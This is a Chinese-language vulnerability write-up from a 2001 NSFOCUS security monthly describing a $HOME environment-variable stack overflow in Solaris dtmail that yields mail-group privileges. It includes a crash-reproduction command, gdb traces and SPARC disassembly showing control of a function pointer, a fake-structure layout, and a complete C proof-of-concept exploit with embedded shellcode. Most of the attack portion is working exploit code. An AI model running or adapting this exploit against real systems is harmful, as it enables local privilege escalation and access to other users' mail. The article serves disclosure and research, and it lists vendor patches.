首页 -> 安全研究

安全研究

绿盟月刊
绿盟安全月刊->第23期->技术专题
期刊号: 类型: 关键词:
Solaris dtmail $HOME缓冲区溢出漏洞

作者:warning3 < mailto: warning3@nsfocus.com >
主页:http://www.nsfocus.com
日期:2001-07-17

dtmail是Solaris CDE所带的一个邮件客户端工具。它缺省设置了setgid mail属性。
我发现它在处理$HOME环境变量时存在一个缓冲区溢出漏洞,攻击者可能利用它来获
取mail组权限。获取mail组权限有什么用?至少可以偷看别人的邮件。:)

如果将HOME变量设置为一个较长的字符串(超过372字节),那么一个堆栈中的缓冲区将
会溢出。攻击者可以覆盖相邻缓冲区的某些数据,如果小心的构造一个数据结构,可能
使程序调用一个攻击者指定的函数指针,从而攻击者可以以mail组权限执行任意代码。

测试方法:

$ export DISPLAY=<Xserver>:0.0
$ export HOME=`perl -e 'print "A"x372'`BBBB
$ /usr/dt/bin/dtmail
Bus Error

这里的Xserver是一个Xwindow server的ip.

用gdb跟踪一下:

(gdb)
#0  0xef73c238 in __0fISdmErrorG_Resetv () from /usr/dt/lib/libSDtMail.so.2
#1  0xef73bff0 in __0oISdmErrordtv () from /usr/dt/lib/libSDtMail.so.2
#2  0x96968 in __0fLVacationCmdMvacationIsOnv ()
#3  0x9b354 in __0fORoamMenuWindowOcreateWorkAreaP6K_WidgetRec ()
#4  0xc8e80 in __0fKMainWindowKinitializeiPPc ()
#5  0xcba08 in __0fKMenuWindowKinitializeiPPc ()
#6  0x9a828 in __0fORoamMenuWindowKinitializeiPPc ()
#7  0x88930 in __0fHRoamAppKinitializePiPPc ()
#8  0xc8ac8 in main ()

[ 看看程序停在哪里了 ]

(gdb) x/10i $pc
0xef73c238 <__0fISdmErrorG_Resetv+36>:  ld  [ %o0 + %i1 ], %o2
0xef73c23c <__0fISdmErrorG_Resetv+40>:  cmp  %o2, 0
0xef73c240 <__0fISdmErrorG_Resetv+44>:  be  0xef73c268 <__0fISdmErrorG_Resetv+84>
0xef73c244 <__0fISdmErrorG_Resetv+48>:  add  %i1, 4, %i1
0xef73c248 <__0fISdmErrorG_Resetv+52>:  ld  [ %o2 + 0x10 ], %o1
0xef73c24c <__0fISdmErrorG_Resetv+56>:  ldsh  [ %o1 + 8 ], %o0
0xef73c250 <__0fISdmErrorG_Resetv+60>:  add  %o2, %o0, %o0
0xef73c254 <__0fISdmErrorG_Resetv+64>:  ld  [ %o1 + 0xc ], %o2
0xef73c258 <__0fISdmErrorG_Resetv+68>:  call  %o2
0xef73c25c <__0fISdmErrorG_Resetv+72>:  mov  3, %o1
(gdb) i r $o0 $i1
o0             0x42424242       1111638594
i1             0x0      0

这个 %o0中的值就是我们提供的'BBBB',也就是说我们可以控制%o0.那么我们继续看看我
们能利用%o0作些什么。

<__0fISdmErrorG_Resetv+40> : 如果[%o0 + %i1]处保存的内容(%o2)不是零
<__0fISdmErrorG_Resetv+52> :  将[%o2 + 0x10]处的内容取出放到%o1中
<__0fISdmErrorG_Resetv+64> : 将[%o1 + 0xc] 处的内容取出放到%o2中
<__0fISdmErrorG_Resetv+68> : 调用%o2! 呵呵,这一串操作的基础就是%o0,既然我们
                              可以控制它,只要我们能够安排好,就可以让函数call
                              任意我们指定的地址!

$i0是当前的缓冲区地址:
(gdb) x/8x $i0
0xefffefd4:     0x41414141      0x41414141      0x42424242      0x2f2e666f
0xefffefe4:     0xef797884      0x0012f6c8      0x00000001      0x00002800

我们看到0x42424242在%i0 + 8处。那么我们所覆盖的那个缓冲区地址就应该在:
%i0 + 8 - 372处:

(gdb) x/8x $i0+8-372
0xefffee68:     0x41414141      0x41414141      0x41414141      0x41414141
0xefffee78:     0x41414141      0x41414141      0x41414141      0x41414141

(gdb) x/8x $i0+8-372-4
0xefffee64:     0xef7efe64      0x41414141      0x41414141      0x41414141
0xefffee74:     0x41414141      0x41414141      0x41414141      0x41414141

果然,我们可以看到前面372字节处是我们溢出字符串的开始。

因此,我们的溢出模板格式为:
+------+----+----------+
|A....A|addr|0x12345678|
+------+----+----------+
  372B   4B   4B

那么溢出后%o0的值就会是addr。下面我们要做的就是要在addr这个地址开始的内存区构
造一个结构,让接下来的操作可以正常进行。
  
我们只需要在堆栈中构造如下的一个结构,假设该结构的起始地址为addr,
那么,可以按照下列格式填充这个结构:

              +--+           +--+
              |  V           |  V
+----+------+----+---------+----+-----------+
| 4B | 12B  | 4B |   12B   | 4B | shellcode |
+----+------+----+---------+----+-----------+
  ^           ^               ^
  |           |               |
addr      addr + 20       addr + 36       

我们只需要在堆栈中构造如下的一个结构,假设该结构的起始地址为addr,
那么,可以按照下列格式填充这个结构:

[ addr + 0  ] <== addr
[ addr + 16 ] <== addr + 20
[ addr + 32 ] <== addr + 36
[ addr + 36 ] 后面是我们的shellcode

既然%o0 = addr, 如果%i0 = 0,那么
ld  [ %o0 + %i1 ], %o2   ===> %o2 = addr
ld  [ %o2 + 0x10 ], %o1  ===> %o1 = (addr + 16)处的内容 = addr + 20
ld  [ %o1 + 0xc ], %o2   ===> %o2 = (addr + 20 + 12)处的内容 = addr +36
call %o2                 ===> call addr + 36 ,这里刚好是我们的shellcode.

现在唯一的问题就是如何确定addr的值,也就是说如何将上面的结构准确的放在addr
处。我们可以考虑将这个伪造的结构放在环境变量中,通过调节,我们可以非常准确地
在SPARC平台下得到这个结构的起始地址addr,具体做法可以看测试程序中的
get_shelladdr()函数。

有人也许会问为什么不按通常的堆栈溢出方式来实现呢?这是因为这块操作是在函数返回
之前的,很难跳过。

这个问题我在BugTraq上搜索了一下,并没有找到有人报告这个问题。但是Sun最新的补丁
已经偷偷地修复了这个问题。

这个问题只影响Solaris 7和2.6。Solaris 8似乎不受影响。

下面是Sun有关dtmail的最新补丁。

SunOS 5.7 SPARC :  107200-12
SunOS 5.7 x86   :  107201-12
SunOS 5.6 SPARC :  105338-27
SunOS 5.6 x86   :  105339-25

测试程序:

/*
*  sol_sparc_dtmail_HOME_ex.c -  Proof of Concept Code for dtmail $HOME stack
*  overflow bug.
*
*  Found and exploited by warning3.
*
*  It will run "/bin/id" if the exploit succeed.
*  Tested in Solaris 2.6/7 (SPARC).
*
*  DISCLAIMS:
*  This  is a proof of concept code.  This code is for test purpose
*  only and should not be run against any host without permission from
*  the system administrator.
*
*  warning3 <warning3@nsfocus.com>
*  http://www.nsfocus.com
*  2001.6.11
*/
#include <stdio.h>
#include <stdlib.h>
#include <sys/systeminfo.h>

#define SP      0xffbefffc      /* default bottom stack address (Solaris 7/8) */

#define DISPENV "DISPLAY=127.0.0.1:0.0"

#define VULPROG "/usr/dt/bin/dtmail"

#define NOP     0xaa1d4015      /* "xor %l5, %l5, %l5" */


char            shellcode[] =
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff"
"\x90\x08\x3f\xff\x90\x02\x20\x06\x82\x10\x20\x88\x91\xd0\x20\x08"
"\x90\x08\x3f\xff\x90\x02\x20\x06\x82\x10\x20\x2e\x91\xd0\x20\x08"
"\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e\x2f\x0b\xda\x59\x90\x0b\x80\x0e"
"\x92\x03\xa0\x0c\x94\x1a\x80\x0a\x9c\x03\xa0\x14\xec\x3b\xbf\xec"
"\xc0\x23\xbf\xf4\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc\x82\x10\x20\x3b"
"\x91\xd0\x20\x08\x90\x1b\xc0\x0f\x82\x10\x20\x01\x91\xd0\x20\x08";

/* get current stack point address */
long
get_sp(void)
{
        __asm__("mov %sp,%i0");
}

long
get_shelladdr(long sp_addr, char **arg, char **env)
{
        long            retaddr;
        int             i;
        char            plat[256];
        char            pad = 0, pad1;
        int             env_len, arg_len, len;


        /* calculate the length of "VULPROG" + argv[] */
        for (i = 0, arg_len = 0; arg[i] != NULL; i++) {
                arg_len += strlen(arg[i]) + 1;
        }


        /* calculate the pad nummber . */
        pad = 3 - arg_len % 4;

        memset(env[0], 'A', pad);
        env[0][pad] = '\0';

        /* get environ length */
        for (i = 0, env_len = 0; env[i] != NULL; i++) {
                env_len += strlen(env[i]) + 1;
        }

        /* get platform info  */
        sysinfo(SI_PLATFORM, plat, 256);

        len = arg_len + env_len + strlen(plat) + 1 + strlen(VULPROG) + 1;

        pad1 = len % 4;

        if (pad1 == 3) pad1 = 5;
        else           pad1 = 4 - pad1;

        /* get the exact shellcode address */
        retaddr = sp_addr - pad1/* the trailing zero number */
                - strlen(VULPROG) - 1
                - strlen(plat) - 1;

        for (i--; i > 0; i--)
                retaddr -= strlen(env[i]) + 1;

        printf("Shellcode address is at 0x%x\n", retaddr);
        return retaddr;

}  /* End of get_shelladdr */


int
main(int argc, char **argv)
{
        char            buf[2048], fake_chunk[8], display[256];
        long            retaddr, sp_addr = SP;
        char           *arg[24], *env[24];
        char            padding[64];
        unsigned int   *ptr;
        char           *disp;
        char            ev1[] = "HOME=";
        long            ev1_len;
        long            overbuflen = 372;

        if (argc > 1)
                snprintf(display, sizeof(display) - 1, "DISPLAY=%s", argv[1]);
        else {
                disp = getenv("DISPLAY");
                if (disp)
                        snprintf(display, sizeof(display) - 1, "DISPLAY=%s", disp);
                else
                        strncpy(display, DISPENV, sizeof(display) - 1);
        }

        arg[0] = VULPROG;
        arg[1] = NULL;


        ev1_len = strlen(ev1);
        bzero(buf, 2048);
        memcpy(buf, ev1, ev1_len);
        memset(buf + ev1_len, 'A', overbuflen + sizeof(fake_chunk));

        env[0] = padding;       /* put padding buffer in env */
        env[1] = shellcode;     /* put shellcode in env */
        env[2] = buf;           /* put overflow environ */
        env[3] = display;       /* put display environ */
        env[4] = NULL;          /* end of env */

        /* get stack bottom address */
        if (((unsigned char) (get_sp() >> 24)) == 0xef) {       /* Solaris 2.6 */
                sp_addr = SP - 0x0fbf0000;
        }
        retaddr = get_shelladdr(sp_addr, arg, env);

        ptr = (unsigned int *) fake_chunk;
        *ptr++ = retaddr;
        *ptr++ = 0x12345678;

        ptr = (unsigned int *) &shellcode;
        *ptr = retaddr;
        *(ptr + 4) = retaddr + 20;
        *(ptr + 8) = retaddr + 36;

        memcpy(buf + ev1_len + overbuflen, fake_chunk, sizeof(fake_chunk));

        execve(VULPROG, arg, env);
        perror("execle");
}                               /* End of main */

<完>
版权所有,未经许可,不得转载